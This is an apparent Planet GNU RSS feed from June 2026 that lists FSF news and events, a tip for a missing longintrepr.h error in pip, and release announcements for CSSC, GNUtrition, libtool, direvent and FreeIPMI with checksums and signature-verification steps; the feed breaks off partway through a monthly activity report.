<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss version="2.0">

<channel>
	<title>ExcitingAds! Planet GNU</title>
	<link>https://planet.gnu.org/</link>
	<language>en</language>
	<description>Planet GNU!</description>


<xhtml:meta content="noindex" name="robots" xmlns:xhtml="http://www.w3.org/1999/xhtml"/><item>
	<title>FSF News: Statement regarding GNU Savannah security reports</title>
	<guid>http://www.fsf.org/news/statement-regarding-gnu-savannah-security-reports</guid>
	<link>http://www.fsf.org/news/statement-regarding-gnu-savannah-security-reports</link>
    
	<pubDate>Fri, 19 Jun 2026 21:13:07 +0000</pubDate>

</item> 
<item>
	<title>Gary Benson: longintrepr.h</title>
	<guid>https://gbenson.net/?p=1065</guid>
	<link>https://gbenson.net/longintrepr-h/</link>
     <description>  &lt;p&gt;Did your &lt;code&gt;pip install&lt;/code&gt; fail with &lt;code&gt;longintrepr.h: No such file or directory&lt;/code&gt;? The file likely &lt;em&gt;is&lt;/em&gt; on your system, but it sometime or another it was moved, &lt;span style="white-space: nowrap;"&gt;from &lt;code&gt;/usr/include/python3.xx/longintrepr.h&lt;/code&gt;&lt;/span&gt; &lt;span style="white-space: nowrap;"&gt;to &lt;code&gt;/usr/include/python3.xx/cpython/longintrepr.h&lt;/code&gt;&lt;/span&gt;. The &lt;em&gt;proper&lt;/em&gt; fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this: &lt;/p&gt;
&lt;pre&gt;ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include&lt;/pre&gt; </description> 
	<pubDate>Thu, 18 Jun 2026 11:38:44 +0000</pubDate>

</item> 
<item>
	<title>cssc @ Savannah: CSSC-1.5.0-rc3 is released</title>
	<guid>https://savannah.gnu.org/news/?id=10906</guid>
	<link>https://savannah.gnu.org/news/?id=10906</link>
     <description>  &lt;p&gt;This is to announce CSSC-1.5.0-rc3, a beta release.
&lt;br /&gt;

&lt;br /&gt;
This is a release candidate for a future stable 1.5.0 release.
&lt;br /&gt;

&lt;br /&gt;
There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.
&lt;br /&gt;

&lt;br /&gt;
See the NEWS below for a brief summary.
&lt;br /&gt;

&lt;br /&gt;
Thanks to everyone who has contributed!
&lt;br /&gt;
The following people contributed changes to this release:
&lt;br /&gt;

&lt;br /&gt;
  Greg A. Woods (1)
&lt;br /&gt;
  Paul Bryce (2)
&lt;br /&gt;
  James Youngman (43)
&lt;br /&gt;

&lt;br /&gt;
James
&lt;br /&gt;
==================================================================
&lt;br /&gt;

&lt;br /&gt;
Here is the GNU CSSC home page:
&lt;br /&gt;
    &lt;a href="https://gnu.org/s/CSSC/"&gt;https://gn ... rg/s/CSSC/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources and a GPG detached signature:
&lt;br /&gt;
  &lt;a href="https://alpha.gnu.org/gnu/CSSC/CSSC-1.5.0-rc3.tar.gz"&gt;https://alpha.gnu ... -1.5.0-rc3.tar.gz&lt;/a&gt;
&lt;br /&gt;
  &lt;a href="https://alpha.gnu.org/gnu/CSSC/CSSC-1.5.0-rc3.tar.gz.sig"&gt;https://alpha.gnu ... .0-rc3.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href="https://www.gnu.org/order/ftp.html"&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:
&lt;br /&gt;

&lt;br /&gt;
  File: CSSC-1.5.0-rc3.tar.gz
&lt;br /&gt;
  SHA256 sum:   a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
&lt;br /&gt;
  SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA256 checksum with either sha256sum, sha256, or
&lt;br /&gt;
'shasum -a 256'.
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
&lt;br /&gt;
from coreutils-9.8.
&lt;br /&gt;

&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify CSSC-1.5.0-rc3.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
The signature should match the fingerprint of the following key:
&lt;br /&gt;

&lt;br /&gt;
  pub   rsa4096 2015-12-24 [SC]
&lt;br /&gt;
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
&lt;br /&gt;
  uid   James Youngman &amp;lt;james@youngman.org&amp;gt;
&lt;br /&gt;
  uid   James Youngman &amp;lt;jay@gnu.org&amp;gt;
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don't have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to retrieve
&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href="mailto:james@youngman.org"&gt;james@youngman.org&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 88DD9E08C5DDACB9
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- '&lt;a href="https://savannah.gnu.org/project/release-gpgkeys.php?group=CSSC&amp;amp;download=1"&gt;https://savannah. ... SC&amp;amp;download=1&lt;/a&gt;' | gpg --import -
&lt;br /&gt;

&lt;br /&gt;
As a last resort to find the key, you can try the official GNU
&lt;br /&gt;
keyring:
&lt;br /&gt;

&lt;br /&gt;
  wget -q &lt;a href="https://ftp.gnu.org/gnu/gnu-keyring.gpg"&gt;https://ftp.gnu.o ... u/gnu-keyring.gpg&lt;/a&gt;
&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
This release is based on the CSSC git repository, available as
&lt;br /&gt;

&lt;br /&gt;
  git clone &lt;a href="https://https.git.savannah.gnu.org/git/CSSC.git"&gt;https://https.git ... .org/git/CSSC.git&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.
&lt;br /&gt;

&lt;br /&gt;
For a summary of changes and contributors, see:
&lt;br /&gt;

&lt;br /&gt;
  &lt;a href="https://gitweb.git.savannah.gnu.org/gitweb/?p=CSSC.git;a=shortlog;h=v1.5.0-rc3"&gt;https://gitweb.gi ... tlog;h=v1.5.0-rc3&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or run this command from a git-cloned CSSC directory:
&lt;br /&gt;

&lt;br /&gt;
  git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.72
&lt;br /&gt;
  Automake 1.17
&lt;br /&gt;
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 1.5.0-rc3 (2026-06-14)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
        * Some typos in error message have been fixed.
&lt;br /&gt;

&lt;br /&gt;
        * admin now supports combination of -r with -n as well as the
&lt;br /&gt;
          portable combination of -r with -i.
&lt;br /&gt;

&lt;br /&gt;
        * Support "sccs sact"; the sact program already existed but
&lt;br /&gt;
	  could not previously be invoked via the sccs wrapper.
&lt;br /&gt;
	  Thanks to Greg A. Woods for this improvement.
&lt;br /&gt;

&lt;br /&gt;
        * In some places we now prefer "grep -E" to "egrep" in order
&lt;br /&gt;
          to avoid a warning message from GNU grep.  Some very old
&lt;br /&gt;
          versions of Unix may not support this option.
&lt;br /&gt;

&lt;br /&gt;
        * Various C++ portability improvements.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Updated version of gnulib.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Updated version of googletest; this is now at the last
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;          version at which it still supported building with Automake.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 17 Jun 2026 11:05:21 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: GNU Press Shop open now through July 19</title>
	<guid>http://www.fsf.org/blogs/community/2026-gnu-press-shop-summer-opening</guid>
	<link>http://www.fsf.org/blogs/community/2026-gnu-press-shop-summer-opening</link>
    
	<pubDate>Mon, 15 Jun 2026 21:22:47 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: 30 years of XaoS: Past, present and future</title>
	<guid>http://www.fsf.org/events/afk/2026-09-19-ceske-budejovice-czechia-kovacs</guid>
	<link>http://www.fsf.org/events/afk/2026-09-19-ceske-budejovice-czechia-kovacs</link>
     <description>  September 19, 2026 from 14:30â€“17:30 CET </description> 
	<pubDate>Mon, 15 Jun 2026 14:53:43 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: Free Software Directory meeting on IRC: Friday, June 19, starting at 12:00 EDT (16:00 UTC)</title>
	<guid>http://www.fsf.org/events/fsd-2026-06-19-irc</guid>
	<link>http://www.fsf.org/events/fsd-2026-06-19-irc</link>
     <description>  Join the FSF and friends on Friday, June 19 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory. </description> 
	<pubDate>Mon, 15 Jun 2026 14:10:00 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: Free Software Directory meeting on IRC: Friday, June 12, starting at 12:00 EDT (16:00 UTC)</title>
	<guid>http://www.fsf.org/events/fsd-2026-06-12-irc</guid>
	<link>http://www.fsf.org/events/fsd-2026-06-12-irc</link>
     <description>  Join the FSF and friends on Friday, June 12 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory. </description> 
	<pubDate>Tue, 09 Jun 2026 13:34:46 +0000</pubDate>

</item> 
<item>
	<title>gnutrition @ Savannah: GNUtrition 0.33</title>
	<guid>https://savannah.gnu.org/news/?id=10903</guid>
	<link>https://savannah.gnu.org/news/?id=10903</link>
     <description>  &lt;p&gt;GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.
&lt;br /&gt;

&lt;br /&gt;
Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system's package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don't, you may still request to those who do to start including GNUtrition.
&lt;br /&gt;

&lt;br /&gt;
Thank you to everyone who tested/used GNUtrition 0.33's release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href="http://gnu.org/software/gnutrition/"&gt;http://gnu.org/so ... tware/gnutrition/&lt;/a&gt;. This release can be obtained from the ftp.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="ftp://ftp.gnu.org/gnu/gnutrition/"&gt;ftp://ftp.gnu.o ... gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/gnutrition/"&gt;http://ftp.gnu.or ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
&lt;a href="https://ftp.gnu.org/gnu/gnutrition/"&gt;https://ftp.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
The FTP mirror list is available at &lt;a href="https://gnu.org/order/ftp.html"&gt;https://gnu.or ... order/ftp.html&lt;/a&gt;, and &lt;a href="https://ftpmirror.gnu.org/gnutrition/"&gt;https://ftpmirror ... u.org/gnutrition/&lt;/a&gt; will automatically redirect you to a nearby mirror.
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href="mailto:bug-gnutrition@gnu.org"&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href="https://lists.gnu.org/mailman/listinfo/bug-gnutrition"&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).
&lt;br /&gt;

&lt;br /&gt;
Happy hacking and calorie counting!!&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 05 Jun 2026 22:37:48 +0000</pubDate>

</item> 
<item>
	<title>direvent @ Savannah: GNU direvent version 5.5</title>
	<guid>https://savannah.gnu.org/news/?id=10902</guid>
	<link>https://savannah.gnu.org/news/?id=10902</link>
     <description>  &lt;p&gt;Version 5.5 of GNU direvent is &lt;a href="http://ftp.gnu.org/gnu/direvent/direvent-5.5.tar.gz"&gt;available for downloads&lt;/a&gt;. New in this version:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All subprocesses are terminated before exit
&lt;/li&gt;
&lt;li&gt;New configuration statement: shutdown-timeout
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
See the &lt;a href="https://git.gnu.org.ua/direvent.git/plain/NEWS?h=v5.5&amp;amp;id=9b05efb8d03af3f7616465e478342c9313222a7d"&gt;NEWS&lt;/a&gt; file for more details.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 05 Jun 2026 19:39:17 +0000</pubDate>

</item> 
<item>
	<title>libtool @ Savannah: libtool-2.6.1 released [beta]</title>
	<guid>https://savannah.gnu.org/news/?id=10901</guid>
	<link>https://savannah.gnu.org/news/?id=10901</link>
     <description>  &lt;p&gt;Libtoolers!
&lt;br /&gt;

&lt;br /&gt;
The Libtool Team is pleased to announce the release of libtool 2.6.1, a beta release.
&lt;br /&gt;

&lt;br /&gt;
GNU Libtool hides the complexity of using shared libraries behind a
&lt;br /&gt;
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
&lt;br /&gt;
hides the complexity of loading dynamic runtime libraries (modules)
&lt;br /&gt;
behind a consistent, portable interface.
&lt;br /&gt;

&lt;br /&gt;
There have been 34 commits by 14 people in the 37 weeks since 2.6.0.
&lt;br /&gt;

&lt;br /&gt;
See the NEWS below for a brief summary.
&lt;br /&gt;

&lt;br /&gt;
Thanks to everyone who has contributed!
&lt;br /&gt;
The following people contributed changes to this release:
&lt;br /&gt;

&lt;br /&gt;
  Alexandre Janniaux (4)
&lt;br /&gt;
  Alexey Samsonov (1)
&lt;br /&gt;
  Anthony Mallet (1)
&lt;br /&gt;
  Arnold (1)
&lt;br /&gt;
  Dima Pasechnik (1)
&lt;br /&gt;
  Frederic Berat (1)
&lt;br /&gt;
  Ileana Dumitrescu (15)
&lt;br /&gt;
  KO Myung-Hun (4)
&lt;br /&gt;
  Kirill Makurin (1)
&lt;br /&gt;
  Mintsuki (1)
&lt;br /&gt;
  Nicolas Boulenguez (1)
&lt;br /&gt;
  Olly Betts (1)
&lt;br /&gt;
  Patrice Dumas (1)
&lt;br /&gt;
  Richard J. Mathar (1)
&lt;br /&gt;

&lt;br /&gt;
Ileana
&lt;br /&gt;
 [on behalf of the libtool maintainers]
&lt;br /&gt;
==================================================================
&lt;br /&gt;

&lt;br /&gt;
Here is the GNU libtool home page:
&lt;br /&gt;
    &lt;a href="https://gnu.org/s/libtool/"&gt;https://gnu. ... g/s/libtool/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources:
&lt;br /&gt;
  &lt;a href="https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.gz"&gt;https://alpha.gnu ... tool-2.6.1.tar.gz&lt;/a&gt;   (2.1MB)
&lt;br /&gt;
  &lt;a href="https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.xz"&gt;https://alpha.gnu ... tool-2.6.1.tar.xz&lt;/a&gt;   (1.1MB)
&lt;br /&gt;

&lt;br /&gt;
Here are the GPG detached signatures:
&lt;br /&gt;
  &lt;a href="https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.gz.sig"&gt;https://alpha.gnu ... -2.6.1.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;
  &lt;a href="https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.xz.sig"&gt;https://alpha.gnu ... -2.6.1.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href="https://www.gnu.org/order/ftp.html"&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:
&lt;br /&gt;

&lt;br /&gt;
  File: libtool-2.6.1.tar.gz
&lt;br /&gt;
  SHA256 sum:   52264ab2fca9464dea9f6a0355d39e49b18f40468b9b6dbc3d151a0dba307a4b
&lt;br /&gt;
  SHA3-256 sum: 59826fb74043179c38a393448b92dfcdfbe9046fd3b23a7079665984f22d6688
&lt;br /&gt;

&lt;br /&gt;
  File: libtool-2.6.1.tar.xz
&lt;br /&gt;
  SHA256 sum:   3fb21f1e99fcdd8565c9b00fb1371db457b82a0da7cba273e1617c954b0ad1ee
&lt;br /&gt;
  SHA3-256 sum: 614bc3ed43293be989ec3305dae42fc4e81234429477490734a40f6d3316560b
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA256 checksum with either sha256sum, sha256, or
&lt;br /&gt;
'shasum -a 256'.
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
&lt;br /&gt;
from coreutils-9.8.
&lt;br /&gt;

&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify libtool-2.6.1.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
The signature should match the fingerprint of the following key:
&lt;br /&gt;

&lt;br /&gt;
  pub   rsa4096 2021-09-23 [SC]
&lt;br /&gt;
        FA26 CA78 4BE1 8892 7F22  B99F 6570 EA01 146F 7354
&lt;br /&gt;
  uid   Ileana Dumitrescu &amp;lt;ileanadumitrescu95@gmail.com&amp;gt;
&lt;br /&gt;
  uid   Ileana Dumitrescu &amp;lt;ileanadumi95@protonmail.com&amp;gt;
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don't have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to retrieve
&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href="mailto:ileanadumitrescu95@gmail.com"&gt;ileanadumitrescu95@gmail.com&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 6570EA01146F7354
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- '&lt;a href="https://savannah.gnu.org/project/release-gpgkeys.php?group=libtool&amp;amp;download=1"&gt;https://savannah. ... ol&amp;amp;download=1&lt;/a&gt;' | gpg --import -
&lt;br /&gt;

&lt;br /&gt;
As a last resort to find the key, you can try the official GNU
&lt;br /&gt;
keyring:
&lt;br /&gt;

&lt;br /&gt;
  wget -q &lt;a href="https://ftp.gnu.org/gnu/gnu-keyring.gpg"&gt;https://ftp.gnu.o ... u/gnu-keyring.gpg&lt;/a&gt;
&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify libtool-2.6.1.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
This release is based on the libtool git repository, available as
&lt;br /&gt;

&lt;br /&gt;
  git clone &lt;a href="https://https.git.savannah.gnu.org/git/libtool.git"&gt;https://https.git ... g/git/libtool.git&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
with commit 79de7bb71bc0a1167f4c4ae8bd897976a0ff2b51 tagged as v2.6.1.
&lt;br /&gt;

&lt;br /&gt;
For a summary of changes and contributors, see:
&lt;br /&gt;

&lt;br /&gt;
  &lt;a href="https://gitweb.git.savannah.gnu.org/gitweb/?p=libtool.git;a=shortlog;h=v2.6.1"&gt;https://gitweb.gi ... shortlog;h=v2.6.1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or run this command from a git-cloned libtool directory:
&lt;br /&gt;

&lt;br /&gt;
  git shortlog v2.6.0..v2.6.1
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.73
&lt;br /&gt;
  Automake 1.18.1
&lt;br /&gt;
  Gnulib 2026-05-12 722f67e9716bf914c18d468336c1f4f9e5cce915
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 2.6.1 (2026-06-04) [beta]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
** New features:
&lt;br /&gt;

&lt;br /&gt;
  - Pass 'resource-dir=*' flag for Clang.
&lt;br /&gt;

&lt;br /&gt;
  - Recognise explicit shared library arguments when linking dependency
&lt;br /&gt;
    libraries to a shared library, like exists when linking a program.
&lt;br /&gt;

&lt;br /&gt;
  - Support OpenMP with macOS clang by processing '-Xpreprocessor
&lt;br /&gt;
    -fopenmp' as one token.
&lt;br /&gt;

&lt;br /&gt;
** Bug fixes:
&lt;br /&gt;

&lt;br /&gt;
  - Store cygpath file path conversions correctly for MSYS2 and MSVC.
&lt;br /&gt;

&lt;br /&gt;
  - Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.
&lt;br /&gt;

&lt;br /&gt;
  - Separate Objective C and C++ cache check for proper tagging support.
&lt;br /&gt;

&lt;br /&gt;
  - Fix in darwin to support values with spaces.
&lt;br /&gt;

&lt;br /&gt;
  - Limit the length of DLL name to 8.3 correctly to avoid corrupting a
&lt;br /&gt;
    generated DLL on OS/2.
&lt;br /&gt;

&lt;br /&gt;
  - Remove unused variable on OS/2, which could cause issues with static
&lt;br /&gt;
    library generation if defined.
&lt;br /&gt;

&lt;br /&gt;
  - Recognise more static linking options for Clang.
&lt;br /&gt;

&lt;br /&gt;
  - Fix emscripten CXX postdeps using non-PIC sysroot.
&lt;br /&gt;

&lt;br /&gt;
  - Avoid deprecated option '-o' with MSVC compilers and replace with '-Fe'.
&lt;br /&gt;

&lt;br /&gt;
  - Avoid overlinking of dependency libraries on ELF systems.
&lt;br /&gt;

&lt;br /&gt;
  - Ensure old libraries are not archived.
&lt;br /&gt;

&lt;br /&gt;
** Changes in supported systems or compilers:
&lt;br /&gt;

&lt;br /&gt;
  - Add support for SlimCC compiler.
&lt;br /&gt;

&lt;br /&gt;
  - Add support for *-ironclad-gnu.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Enjoy!&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Thu, 04 Jun 2026 18:42:18 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: Free Software Awards: Nominate a person or project by July 12</title>
	<guid>http://www.fsf.org/blogs/community/2026-free-software-awards-2025-nominations-open</guid>
	<link>http://www.fsf.org/blogs/community/2026-free-software-awards-2025-nominations-open</link>
    
	<pubDate>Wed, 03 Jun 2026 20:40:00 +0000</pubDate>

</item> 
<item>
	<title>gnutrition @ Savannah: GNUtrition 0.33.0rc5</title>
	<guid>https://savannah.gnu.org/news/?id=10899</guid>
	<link>https://savannah.gnu.org/news/?id=10899</link>
     <description>  &lt;p&gt;A test release of GNUtrition, 0.33.0rc5, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release fixes bugs from 0.33.0rc1-rc4, removes inaccurate algorithm constants, removes additional unnecessary dependencies, improves reliability/usability on non-GNU systems, among other general improvements and bug fixes. Version 0.33.0 (the first ftp.gnu.org release of GNUtrition since 2012) is expected to be released by June 5th. Any and all testing for the upcoming release will be greatly appreciated. Please use the bug-gnutrition and help-gnutrition mailing lists for your bug reports and/or other questions.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href="http://www.gnu.org/software/gnutrition/"&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;. This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
    &lt;a href="ftp://alpha.gnu.org/gnu/gnutrition/"&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href="http://alpha.gnu.org/gnu/gnutrition/"&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href="https://alpha.gnu.org/gnu/gnutrition/"&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href="mailto:bug-gnutrition@gnu.org"&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href="https://lists.gnu.org/mailman/listinfo/bug-gnutrition"&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Tue, 02 Jun 2026 21:04:17 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: Freie/libre/libero/liber software, for sovereignty and freedom</title>
	<guid>http://www.fsf.org/events/afk/2026-06-12-bern-switzerland-stallman</guid>
	<link>http://www.fsf.org/events/afk/2026-06-12-bern-switzerland-stallman</link>
    
	<pubDate>Tue, 02 Jun 2026 20:27:19 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: FSD meeting and weekly recap 2026-05-29</title>
	<guid>http://www.fsf.org/blogs/licensing/fsd-recap-2026-05-29</guid>
	<link>http://www.fsf.org/blogs/licensing/fsd-recap-2026-05-29</link>
     <description>  Check out the important work our volunteers accomplished this week and at today's Free Software Directory (FSD) IRC meeting. </description> 
	<pubDate>Tue, 02 Jun 2026 19:37:15 +0000</pubDate>

</item> 
<item>
	<title>freeipmi @ Savannah: FreeIPMI 1.6.18 Released</title>
	<guid>https://savannah.gnu.org/news/?id=10898</guid>
	<link>https://savannah.gnu.org/news/?id=10898</link>
     <description>  &lt;p&gt;o Support new "altbridging" workaround in ipmi-sensors.
&lt;br /&gt;
o Fix exploitable buffer overflows in the following ipmi-oem 
&lt;br /&gt;
  commands:
&lt;br /&gt;
  - ipmi-oem dell get-active-directory-config
&lt;br /&gt;
  - ipmi-oem fujitsu get-sel-entry-long-text
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://ftp.gnu.org/gnu/freeipmi/freeipmi-1.6.18.tar.gz"&gt;https://ftp.gnu.o ... pmi-1.6.18.tar.gz&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Tue, 02 Jun 2026 17:39:55 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: Free Software Directory meeting on IRC: Friday, June 5, starting at 12:00 EDT (16:00 UTC)</title>
	<guid>http://www.fsf.org/events/fsd-2026-06-05-irc</guid>
	<link>http://www.fsf.org/events/fsd-2026-06-05-irc</link>
     <description>  Join the FSF and friends on Friday, June 5 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory. </description> 
	<pubDate>Mon, 01 Jun 2026 20:08:56 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: May GNU Spotlight with Amin Bandali featuring eleven new GNU releases: GnuPG, G-Golf, and more!</title>
	<guid>http://www.fsf.org/blogs/community/2026-may-gnu-spotlight</guid>
	<link>http://www.fsf.org/blogs/community/2026-may-gnu-spotlight</link>
    
	<pubDate>Mon, 01 Jun 2026 12:55:00 +0000</pubDate>

</item> 
<item>
	<title>Amin Bandali: Free software activities in May 2026</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:news/fsa-202605</guid>
	<link>https://kelar.org/~bandali/news/fsa-202605.html</link>
     <description>  &lt;p&gt;
Hello and welcome to my May 2026 free software activities report.
A lot's been going on in my life offline so I took a bit of a hiatus
from doing these reports, but I've had a fairly productive month of
May so I thought it'd be nice to do another one for this month.
&lt;/p&gt;
&lt;section class="outline-2" id="outline-container-gnu-fsf"&gt;
&lt;h2 id="gnu-fsf"&gt;GNU &amp;amp; FSF&lt;/h2&gt;
&lt;div class="outline-text-2" id="text-gnu-fsf"&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;a href="https://www.gnu.org/software/emacs/"&gt;GNU Emacs&lt;/a&gt;:

&lt;ul class="org-ul"&gt;
